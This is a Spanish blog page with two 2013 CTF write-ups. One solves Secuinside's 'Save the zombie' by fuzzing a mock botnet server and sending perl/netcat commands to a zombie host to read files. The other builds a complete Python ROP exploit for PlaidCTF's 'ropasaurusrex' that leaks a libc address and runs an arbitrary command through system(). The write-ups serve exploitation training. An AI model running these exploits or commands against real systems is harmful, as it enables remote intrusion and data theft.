martes, 28 de mayo de 2013

Secuinside CTF - Save the zombie [400]

Este fin de semana se ha llevado a cabo el Capture The Flag de “Secuinside” organizado en Corea del Sur. A continuación paso a explicar la resolución de la prueba “Save the Zombie” premiada con 400 puntos, el cuál me pareció divertido e interesante.

La descripción que se nos daba era la siguiente:

--
binary : http://war.secuinside.com/files/Apache2
server : 54.214.248.168
A program is being run by one of the hackers on an abandoned website.
Rescue the zombie PCs controlled by the hacker!
--

La descripción de la prueba es sencilla, tenemos un servidor web que ha sido hackeado y que posiblemente se está utilizando de C&C de una red de botnets, y debemos conseguir el acceso al mismo o a uno de los clientes.

Si nos conectábamos a la dirección IP que nos daban mediante el protocolo HTTP, obteníamos el típico mensaje que devuelve el servidor web Apache “It works!”. Por lo que, una buena opción para empezar era realizar fuzzing web sobre el portal:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00396: C=200 196 L 552 W 3962 Ch " - apache"
02547: C=200 2 L 3 W 46 Ch " - index"
04890: C=301 9 L 28 W 312 Ch " - t"

El fichero “apache” encontrado contenía el código fuente del binario que se nos daba inicialmente y que se encontraba en ejecución en el servidor web, las partes más destacables del código eran:

Se está generando el directorio “t” para almacenar los logs del servidor, el cual ya hemos encontrado mediante el fuzzing web:

// check tmp directory, create it
DIR *dir = opendir( "t" );
if( dir == NULL )
system( "mkdir t" );
else
closedir( dir );
AddLog( logpath, "t/cli.exe" );

Los usuarios que envíen peticiones a dicho servidor con la palabra “BD-Register” en la cabecera “Accept: ” serán agregados al log, por lo que serán víctimas de la botnet:

char *tmpstr = myntoa( cli_ip );
printf( "connection from %s\n", tmpstr );
free( tmpstr );
#define ACCEPTLEN 2000
char acceptline[ACCEPTLEN];
char *tmp;
tmp = strstr( buffer, "Accept: " );
if( tmp != NULL )
{
strncpy( acceptline, tmp, ACCEPTLEN );
tmp = strchr( acceptline, '\n' );
if( tmp != NULL )
*tmp = 0;
}
else
goto _end;
char *exists = strstr( acceptline, "BD-Register" );
if( exists == NULL )
goto _end;
char *ip = myntoa( cli_ip );
printf( "client registered from %s\n", ip );
AddLog( logpath, ip );
free( ip );

Si fuzzeábamos el directorio “/t” nos topamos con lo siguiente:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00192: C=200 175 L 175 W 2447 Ch " - a"
02545: C=200 0 L 0 W 0 Ch " - index"

El fichero “a” contiene los logs de los zombies que se conectan al C&C:

t/cli.exe
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68

Ya tenemos la dirección IP de nuestro zombie y parece que nos dan la opción de descargarnos el cliente de la botnet, fichero “t/cli.exe”.

Si realizábamos ingeniería inversa sobre el binario se podía encontrar que éste se pone a la escucha en el puerto 8080 en hexadecimal “1F90”, que curiosamente también se encuentra abierto en cliente zombie encontrado en los logs “115.68.108.68”:

image

Si nos conectamos a dicho puerto mediante Netcat parece que no conseguimos realizar ninguna acción, posiblemente debamos enviar alguna secuencia de comandos para interactuar con él. Si continuamos con las comprobaciones que realiza el binario nos encontramos con las siguientes:

image

Estamos recibiendo a través del socket cuatro bytes que posteriormente serán comparados con las tres opciones mostradas anteriormente:

- Valor “1”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, “GetFileAttributesA”, entre otras.

- Valor “2”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, entre otras.

- Valor “3”: Posteriormente realiza acciones con la instrucción “ReadFile”, entre otras.

Ya estamos cerca, parece que primero deberemos obtener el listado de los ficheros existentes en el directorio y posteriormente leer el fichero con la key.

Es necesario aclarar que al estar leyendo cuatro bytes, hemos de enviarle al cliente zombie la siguiente dirección “0x0000000X”, ya que de lo contrario el comparador no funcionará correctamente.

Demandamos la opción 1 con el path “.”:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 192.168.1.136 8080
C:\Users\dromero\Desktop\zombieC:\Users\dromero\Desktop\zombie?<DIR> \..
45056 \cli.exe
40 \fake_key.txt

Demandamos la opción 4 con el fichero “fake_key.txt”:

[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00fake_key.txt"' | nc 192.168.1.136 8080
fake_key.txt
This is a fake key, Get the real key ;)

Tenemos nuestra key en local, por lo que realizamos el mismo proceso en el cliente zombie real encontrado en los logs:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 115.68.108.68 8080
C:\Users\user\Desktop\my zombie pcC:\Users\user\Desktop\my zombie pc=<DIR> \..
45056 \cli.exe
43 \my_k3y.txt
[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00my_k3y.txt"' | nc 115.68.108.68 8080
my_k3y.txt
the key is "Night Of The Living Dead"

De este modo conseguíamos la key válida y nos hacíamos con 400 puntos más ;)

Un Saludo!!

domingo, 12 de mayo de 2013

[Exploit] – PlaidCTF 2013 - Ropasaurusrex (pwn 200)

Aunque ya hayan pasado unas semanas de la finalización del PlaidCTF 2013, he decidido publicar la solución de la prueba “ropasaurusrex” debido a que me resultó una prueba interesante y que tranquilamente podríamos encontrarnos una explotación similar en la vida real. Dicha prueba se encontraba en la sección de “pwn” y se premiaba con 200 puntos.

Recomendación: La explotación de dicha prueba requiere de una serie de conocimientos técnicos avanzados en técnicas de explotación de vulnerabilidades en entornos Linux. Y como Daniel García realizó un estupendo trabajo explicando estas técnicas, recomiendo encarecidamente la lectura de la entrada “GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux)” en su blog (al igual que las demás entradas).

Así que empezamos:

Binario: [descarga_ropasaurusrex]
Md5 binario: c5bb68949dcc3264cd3a560c05d0b566
Sha1 binario: 85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d

Reconocimiento del problema:

En las notas del reto nos indicaba que el binario a analizar se encontraba en ejecución en el host Y puerto X, por lo que deberíamos explotarlo de forma remota. Una vez descargado el binario, pasamos a ejecutarlo para ver que nos pide, topándonos con lo siguiente:

image

Como es posible observar, a simple vista existe una vulnerabilidad overflow debido a una mala validación en los datos de entrada. Por lo que tenemos claro por dónde debemos ir. Al igual que en los anteriores overflows utilizamos pattern_create de metasploit para obtener el tamaño necesario para sobrescribir EIP, en este caso 140.

Mediante el script checksec.sh obtenemos las protecciones de seguridad que implementa nuestro binario:

image

Es posible ver como el binario dispone de la protección NX (PILA no ejecutable) y ya que dicho servicio se explotará de forma remota, debemos suponer que la protección ASLR también se encuentra activada, esto nos encamina a que deberemos utilizar técnicas de ROP (Return-oriented programming) para conseguir nuestro objetivo.

Si indagamos un poco en qué funciones, llamadas, etc, contiene el binario obtenemos lo siguiente:

Función vulnerable:

root@kali:~/Desktop# objdump -M intel -d ropasaurusrex | grep -i -A10 80483f4
80483f4: 55 push ebp
80483f5: 89 e5 mov ebp,esp
80483f7: 81 ec 98 00 00 00 sub esp,0x98
80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8],0x100
8048404: 00
8048405: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
804840b: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
804840f: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0
8048416: e8 11 ff ff ff call 804832c <read@plt> <<-- Vulnerable
804841b: c9 leave
804841c: c3 ret <<-- Ret inicial a nuestro ROP

Direcciones de las funciones write y read en la PLT:

root@kali:~/Desktop# objdump -d ropasaurusrex | grep -iE -A3 '(write@plt|read@plt)'
0804830c <write@plt>:
804830c: ff 25 14 96 04 08 jmp *0x8049614
8048312: 68 08 00 00 00 push $0x8
8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
--
0804832c <read@plt>:
804832c: ff 25 1c 96 04 08 jmp *0x804961c
8048332: 68 18 00 00 00 push $0x18
8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>

Con la información anteriormente nombrada y debido a la falta de la llamada “system” en nuestro binario, es posible llegar a la conclusión de que deberemos realizar un exploit utilizando la técnica ROP con los siguientes objetivos:

  1. Explotar el stack buffer overflow consiguiendo el control del registro EIP.
  2. Devolver la dirección real de la función READ o WRITE almacenada en la GOT. (Mediante la función WRITE)
  3. Calcular la dirección real de la función SYSTEM a partir de la obtenida anteriormente.
  4. Mediante una función READ implementada por ROP almacenar el comando enviado por nosotros en alguna sección con permisos de escritura y la dirección real de la función SYSTEM.
  5. Ejecute la función SYSTEM con el comando enviado.

¿Y todo esto realizando una sola conexión? - Por supuesto!!

Si os preguntáis por qué es necesario montar todo este lio para ejecutar código remotamente, la respuesta es bien sencilla, ASLR y NX. Al no disponer de ejecución en la PILA, no es posible realizar un ROP sencillo que ejecute una shellcode almacenada en la misma y debido a que el sistema dispone de ASRL activado, las direcciones de las librerías compartidas son aleatorizadas.

Empezamos nuestro exploit guardando las direcciones necesarias para realizar nuestro ROP, las cuales se cargan estáticamente (PLT).

import sys
import struct
import socket

## Obtenemos el comando
command = sys.argv[1]

## Creamos el socket
s = socket.socket()
s.connect(("localhost", 4444))

## Declaramos las direcciones necesarias
read_plt = 0x0804832c
read_plt_point = 0x804961c
write_plt = 0x0804830c
offset = 0x8a530 # (read - system)
system = 0x0 # Por rellenar
ret_addr = 0x41414141

Obtención de la dirección SYSTEM:

Tal y como se ha comentado anteriormente lo primero que nos interesa es que el propio binario nos devuelva la dirección real de la función READ. Dicha dirección se encuentra almacenada en el puntero “read_plt_point = 0x804961c”. Utilizaremos la función WRITE para imprimir por “stdout” (en nuestro caso, salida asociada al socket) su contenido.

La función WRITE demanda tres argumentos: tipo, puntero a leer y tamaño. Por lo que será necesario añadir el siguiente código a nuestro exploit.

## Leemos la direccion real de la funcion read
sploit = "A" * 140
sploit += struct.pack("<L", write_plt) # Write plt address
sploit += struct.pack("<L", ret_addr) # Return address
sploit += struct.pack("<L", 0x1) # Stdout
sploit += struct.pack("<L", read_plt_point) # Read GOT address
sploit += struct.pack("<L", 0x4) # Size

s.send(sploit + “BBBB”)
data = s.recv(4)
read_addr = struct.unpack("<L", data)[0]
print "(*) Read real address: ", hex(read_addr)
s.close()

Si os fijáis lo único que estamos haciendo es sobrescribir con la dirección de la función WRITE nuestra dirección de retorno inicial, pasándole los argumentos apropiados. Es importante introducir una dirección de retorno después de WRITE (ret_addr), ya que cuando ésta finalice deberá saltar a algún lugar.

image

Con esto ya hemos conseguido nuestra dirección apreciada y podremos calcular automáticamente la dirección real de SYSTEM.

Si visualizamos la PILA en el momento de continuar con la ejecución, nos topamos con un pequeño problema:

image

Aún disponemos de los parámetros del la función WRITE en la pila! Debemos encontrar un modo para que dichos parámetros desaparezcan de la PILA y podamos continuar con la ejecución de nuestro ROP. Este tipo de casos se suelen solucionar con conjuntos de instrucciones tipo “POP reg / POP reg / POP reg / RET”.

Realizando una pequeña búsqueda con “objdump” podemos localizar esta estructura en el binario:

root@kali:~/Desktop# objdump -d ropasaurusrex | grep -iE '(pop|ret)'
...
80484b5: 5b pop ebx
80484b6: 5e pop esi <<--- A partir de aquí
80484b7: 5f pop edi
80484b8: 5d pop ebp
80484b9: c3 ret
...

Si substituimos nuestra variable “ret_addr” en el exploit por la dirección 0x80484b6 y ejecutamos de nuevo, habremos solventado el problema sobrescribiendo EIP con el valor 0x42424242 (último valor enviado en el overflow).

Cálculo de la dirección SYSTEM:

Aprovechando la modificación del exploit, podemos añadir el calculo de nuestra dirección SYSTEM en base a READ – OFFSET.

...
s.send(sploit + "BBBB")
print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
data = s.recv(4)

## Calculamos la direccion real de la funcion read
read_addr = struct.unpack("<L", data)[0]
system = (read_addr - offset)

print "(*) Read real address: ", hex(read_addr)
print "(*) System real address: ", hex(system)
s.close()
...

Y al ejecutar el exploit obtendremos lo siguiente:

image


Envío del comando y la dirección de SYSTEM al binario:

Debido a que la dirección de SYSTEM únicamente es posible conseguirla una vez hemos interactuado con el binario, hemos perdido la oportunidad de enviar datos al mismo, por lo que, hemos de continuar nuestro ROP haciendo que éste (binario) nos vuelva a solicitar datos mediante la función READ.

La función READ también nos solicita tres argumentos para trabajar con ella: tipo, puntero a escribir y tamaño. En este caso deberemos buscar una sección con permisos de escritura y con tamaño suficiente como para copiar algunas direcciones de memoria y nuestro comando:

root@kali:~/Desktop# objdump -h ropasaurusrex | less
...
19 .jcr 00000004 0804952c 0804952c 0000052c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000d0 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049600 08049600 00000600 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 08049604 08049604 00000604 2**2
CONTENTS, ALLOC, LOAD, DATA
...

Tal y como es posible observar la sección “.dynamic” tiene permisos de escritura y dispone de “0xd0” de tamaño, más que suficiente.

Por lo que continuaremos modificando un poco nuestro exploit, añadiendo una nueva variable:

...
dynamic = 0x08049530
...

Y nuestra nueva función READ, implementada en el ROP:

...
sploit += struct.pack("<L", read_plt) # Read plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x0) # Stdin
sploit += struct.pack("<L", dynamic) # Dest addr
sploit += struct.pack("<L", 0x30) # Size
...

Hemos de tener en cuenta que el binario en este momento se quedará esperando a recibir más datos, por lo que vamos a tener que implementar un seguro trozo de código en nuestro exploit que envíe nuestra segunda petición contra el servicio (dicho código se añade justo después del primer “send”):

...
print "(*) We send the second part of our exploit.."

## Almacenamos el comando mediante (read) y lo ejecutamos mediante (system)
sploit2 = struct.pack("<L", 0x58585858) # Padding for LEAVE
sploit2 += struct.pack("<L", system) # Call system address
sploit2 += struct.pack("<L", 0x58585858) # Fake return address
sploit2 += struct.pack("<L", dynamic+16) # Addr of our command

s.send(sploit2 + command + "\x00")
s.close()
...

Puede llamar la atención el padding en el segundo envío, posteriormente será explicado.

Si ejecutamos de nuevo el exploit y visualizamos que sucede con GDB:

image

Tal y como se observa en la imagen anterior, seguimos controlando EIP y disponemos en la sección .dynamic la estructura que queríamos. Pero, ¿cómo conseguimos llamar ahora a la función SYSTEM con el comando?

Si os fijáis en la estructura formada en la sección .dynamic, es similar a la que tiene nuestra PILA antes de llamar a una función cuando se está realizando un ROP (System-Addr + Fake-Ret + Command-Addr), por lo que necesitamos que nuestra PILA (registro ESP) pase a ser la dirección de la sección .dynamic “0x8049530”, es decir “ESP=~0x8049530”.

Aquí es donde toma sentido la estructura formada en .dynamics. Para conseguir nuestro objetivo únicamente necesitamos almacenar nuestra dirección de la sección .dynamics en el registro EBP y posteriormente llamar a algún epílogo (LEAVE / RET), de este modo, la PILA se encontrará situada donde queríamos.

De aquí el padding comentado anteriormente, ya que el epílogo obtendrá como nueva PILA la dirección en EBP+4. Del mismo modo nuestro comando es enviado justo después de “sploit2”, por lo que añadiremos como puntero al comando la dirección de .dynamics+16 (EBP=.dynamic ; Padding=.dynamic+4 ; System-Addr=.dynamic+8 ; Fake-Ret=.dynamic+12 ; Command-Addr=.dynamic+16).

Es necesario añadir nuevas variables generales:

...
pop_ebp = 0x080483c3 # POP EBP / RET # From objdump
epilogue = 0x080482ea # LEAVE / RET # From objdump
...

Y nuevas instrucciones al final del primer envío “sploit” para construir la nueva PILA.

...
sploit += struct.pack("<L", pop_ebp) # POPEBP/RET (Save dynamic address in EBP)


sploit += struct.pack("<L", dynamic) # dynamic address
sploit += struct.pack("<L", epilogue) # Now EBP in our new ESP
s.send(sploit)
...

Ejecución de SYSTEM:

Con todas las modificaciones que se han hecho en el exploit a lo largo de la entrada es normal que hayan habido posibles confusiones, por lo que adjunto el exploit final a continuación:

import sys
import struct
import socket

## Obtenemos el comando
command = sys.argv[1]

## Creamos el socket
s = socket.socket()
s.connect(("localhost", 4444))

## Declaramos las direcciones necesarias
read_plt = 0x0804832c
read_plt_point = 0x804961c
write_plt = 0x0804830c
offset = 0x8a530 # (read - system)
system = 0x0 # Por rellenar

ret_addr = 0x080484b6
dynamic = 0x08049530
pop_ebp = 0x080483c3 # POP EBP / RET
epilogue = 0x080482ea # LEAVE / RET

## Leemos la direccion real de la funcion read
sploit = "A" * 140
sploit += struct.pack("<L", write_plt) # Write plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x1) # Stdout
sploit += struct.pack("<L", read_plt_point) # Read GOT address
sploit += struct.pack("<L", 0x4) # Size

sploit += struct.pack("<L", read_plt) # Read plt address
sploit += struct.pack("<L", ret_addr) # Return address POP/POP/POP/RET
sploit += struct.pack("<L", 0x0) # Stdin
sploit += struct.pack("<L", dynamic) # Dest addr
sploit += struct.pack("<L", 0x30) # Size

sploit += struct.pack("<L", pop_ebp) # POP EBP / RET (Save dynamic address in EBP)
sploit += struct.pack("<L", dynamic) # dynamic address
sploit += struct.pack("<L", epilogue) # Now EBP in our new ESP

s.send(sploit)

print "(*) --------------------------------------------------"
print "(*) We send the first part of our exploit.."
data = s.recv(4)

## Calculamos la direccion real de la funcion read
read_addr = struct.unpack("<L", data)[0]
system = (read_addr - offset)

print "(*) Read real address: ", hex(read_addr)
print "(*) System real address: ", hex(system)

print "(*) We send the second part of our exploit.."

## Enviamos el comando mediante (read) y lo ejecutamos mediante (system)
sploit2 = struct.pack("<L", 0x58585858) # Padding for LEAVE
sploit2 += struct.pack("<L", system) # Call system address
sploit2 += struct.pack("<L", 0x58585858) # Fake return address
sploit2 += struct.pack("<L", dynamic+16) # Our command

s.send(sploit2 + command + "\x00")

print "(*) Result of: ", command
print "(*) --------------------------------------------------"
data = s.recv(1024)
print data

s.close()

Y si ejecutamos nuestro exploit pasando como argumento diferentes comandos:

image


Esto es todo, espero que os haya gustado.

Saludos!!